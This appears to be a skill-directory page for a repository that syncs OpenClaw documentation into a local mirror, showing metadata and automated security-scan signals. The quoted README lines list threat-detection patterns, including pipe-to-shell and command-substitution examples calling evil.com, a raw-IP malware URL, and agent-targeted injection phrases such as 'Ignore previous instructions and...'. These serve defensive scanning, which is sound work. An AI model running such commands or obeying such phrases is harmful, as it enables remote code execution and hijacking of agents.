Not in the top 1,000 by GitHub stars
TheSethRose/OpenClaw-Docs-Sync
Synchronize OpenClaw, ClawHub, and Skills repository documentation into a local `docs/` mirror and index it with QMD for fast search.
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
62092bc32036 → 62092bc32036
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 62092bc32036
No earlier version was observed for comparison.
44GitHub stars
0stars in 7 days
1skill in this repository
0commits in 30 days
Heat
0.3- Star growth, last 7 daysNot available
- Star growth, last 24 hoursNot available
- Rank movement, last 7 daysNot available
- Commits, last 30 daysNot available
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekNot available
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
30-day change not yet available: not enough history.
Individual skills in this repository
How it works
openclaw-docs-sync
When your agent uses it
Sync OpenClaw + ClawHub + Skills docs into a local mirror for the QMD memory backend.
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
754 tokensWhen the skill is activated
Reference documents
1,208 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- When to use
- Setup
- How the agent uses synced docs
- Repo structure in synced mirror
- Notes
Scripts executed separately
.eslintrc.cjspackage.jsonscripts/sync-docs.ts
Files
.eslintrc.cjsruns378 bytes.gitignoreasset105 bytesREADME.mddoc4,456 bytesSKILL.mdcore2,652 bytesSKILL.mdcore2,652 bytespackage.jsonruns525 bytesscripts/sync-docs.tsruns13,194 bytestsconfig.jsonasset382 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubSkills included
- openclaw-docs-sync
Repository facts
- License
- No license detected
- Created
- Feb 3, 2026
- Last pushed
- Feb 7, 2026
- Forks
- 3
- Open issues
- 0
- Project activity
- Slowing
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 4, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 1 note
SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- No broad tool permissions
- 2 dangerous shell commandsin 1 file: README.md:103
- 21 network referencesin 3 files: README.md:7 scripts/sync-docs.ts:123 SKILL.md:95
- No hidden or obfuscated text
- 3 instruction override signalsin 1 file: README.md:129
- 3 executable scriptsin 3 files: .eslintrc.cjs:1 package.json:1 scripts/sync-docs.ts:1
- No access to secrets
- No requests to vote in Hot
Show all 29 signals by file
.eslintrc.cjs
- Executable scriptline 1
Executable file
README.md
- Network accessline 7
- Pulls `.md` and `.mdx` files from: - `https://github.com/openclaw/openclaw/tree/main/docs` - Network accessline 8
- `https://github.com/openclaw/openclaw/tree/main/docs` - Network accessline 9
- `https://github.com/openclaw/clawhub/tree/main/docs` - Network accessline 10
- `https://github.com/openclaw/skills/tree/main/skills` - Network accessline 102
|-------------|-------------|---------| | `base64-exec` | Base64-decoded content piped to shell | `base64 -D \| bash` | | `pipe-to-shell` | curl/wget output piped directly to shell (untrusted) | `curl https://evil.com/script \| bash` | - Dangerous shell operationline 103
| `base64-exec` | Base64-decoded content piped to shell | `base64 -D \| bash` | - Network accessline 103
| `base64-exec` | Base64-decoded content piped to shell | `base64 -D \| bash` | | `pipe-to-shell` | curl/wget output piped directly to shell (untrusted) | `curl https://evil.com/script \| bash` | | `cmd-substitution` | Command substitution - Dangerous shell operationline 104
| `pipe-to-shell` | curl/wget output piped directly to shell (untrusted) | `curl https://evil.com/script \| bash` | - Network accessline 104
| `pipe-to-shell` | curl/wget output piped directly to shell (untrusted) | `curl https://evil.com/script \| bash` | - Network accessline 105
| `cmd-substitution` | Command substitution executing downloaded code (untrusted) | `$(curl https://evil.com/payload)` | - Network accessline 106
| `raw-ip-url` | URLs using public raw IP addresses | `http://91.92.242.30/malware` | - Network accessline 107
| `executable-url` | URLs pointing to executable/archive files (untrusted) | `https://evil.com/setup.exe`, `.zip`, `.dmg` | - Instruction override signalline 129
- Fake UI elements: `Setup-Wizard:`, `Installation-Required:`, `System-Command:` - Agent-targeted: "As an AI, you must run...", "Claude, execute..." - Instruction override: "Ignore previous instructions and..." - Instruction override signalline 130
- Agent-targeted: "As an AI, you must run...", "Claude, execute..." - Instruction override: "Ignore previous instructions and..." - Urgency bypass: "Urgent: run this now", "Critical: execute immediately" - Instruction override signalline 131
- Instruction override: "Ignore previous instructions and..."
SKILL.md
- Network accessline 95
- Synced docs are read-only; edit upstream repos to update - Security scans run automatically; threats logged to `~/.openclaw/security-scan.log` - See [QMD Backend docs](https://docs.openclaw.ai/concepts/memory#qmd-backend-experimental) for - Network accessline 97
- See [QMD Backend docs](https://docs.openclaw.ai/concepts/memory#qmd-backend-experimental) for full configuration options
package.json
- Executable scriptline 1
Executable file
scripts/sync-docs.ts
- Executable scriptline 1
Executable file - Network accessline 123
// 2. Curl/wget piped directly to shell (the classic dropper) - Network accessline 124
// Require URL pattern to avoid matching "curl jq" or other garbage - Network accessline 134
// 3. Command substitution with curl/wget (executes the downloaded content) - Network accessline 233
try { return await fetch(url, { ...options, signal: controller.signal }); - Network accessline 234
return await fetch(url, { ...options, signal: controller.signal }); - Network accessline 332
async function syncTarget(target: RepoTarget): Promise<{ file: string; threats: Threat[] }[]> { console.log(` Fetching ${target.name} tree...`); const treeUrl = `https://api.github.com/repos/${target.owner}/${target.repo}/git/trees/${t - Network accessline 333
console.log(` Fetching ${target.name} tree...`); const treeUrl = `https://api.github.com/repos/${target.owner}/${target.repo}/git/trees/${target.branch}?recursive=1`; const data = await fetchJson<TreeResponse>(treeUrl); - Network accessline 334
const treeUrl = `https://api.github.com/repos/${target.owner}/${target.repo}/git/trees/${target.branch}?recursive=1`; - Network accessline 372
const rawUrl = `https://raw.githubusercontent.com/${target.owner}/${target.repo}/${target.branch}/${current.path}`;
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Signal confidence: 29 facts
- Executable script in code of a file that runs.eslintrc.cjs:1High confidence
- Network access in prose of documentationREADME.md:7Low confidence
- Network access in prose of documentationREADME.md:8Low confidence
- Network access in prose of documentationREADME.md:9Low confidence
- Network access in prose of documentationREADME.md:10Low confidence
- Network access in prose of documentationREADME.md:102Low confidence
- Dangerous shell operation in prose of documentationREADME.md:103Low confidence
- Network access in prose of documentationREADME.md:103Low confidence
- Dangerous shell operation in prose of documentationREADME.md:104Low confidence
- Network access in prose of documentationREADME.md:104Low confidence
- Network access in prose of documentationREADME.md:105Low confidence
- Network access in prose of documentationREADME.md:106Low confidence
- Network access in prose of documentationREADME.md:107Low confidence
- Instruction override signal in prose of documentationREADME.md:129Low confidence
- Instruction override signal in prose of documentationREADME.md:130Low confidence
- Instruction override signal in prose of documentationREADME.md:131Low confidence
- Network access in prose of the SKILL.mdSKILL.md:95Low confidence
- Network access in prose of the SKILL.mdSKILL.md:97Low confidence
- Executable script in code of a file that runspackage.json:1High confidence
- Executable script in code of a file that runsscripts/sync-docs.ts:1High confidence
- Network access in a comment of a file that runsscripts/sync-docs.ts:123Low confidence
- Network access in a comment of a file that runsscripts/sync-docs.ts:124Low confidence
- Network access in a comment of a file that runsscripts/sync-docs.ts:134Low confidence
- Network access in code of a file that runsscripts/sync-docs.ts:233High confidence
- Network access in code of a file that runsscripts/sync-docs.ts:234High confidence
- Network access in code of a file that runsscripts/sync-docs.ts:332High confidence
- Network access in code of a file that runsscripts/sync-docs.ts:333High confidence
- Network access in code of a file that runsscripts/sync-docs.ts:334High confidence
- Network access in code of a file that runsscripts/sync-docs.ts:372High confidence
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Compatible | Standard SKILL.md SKILL.md | .claude/skills/<skill-name>/ |
| Codex | Compatible | Standard SKILL.md SKILL.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.
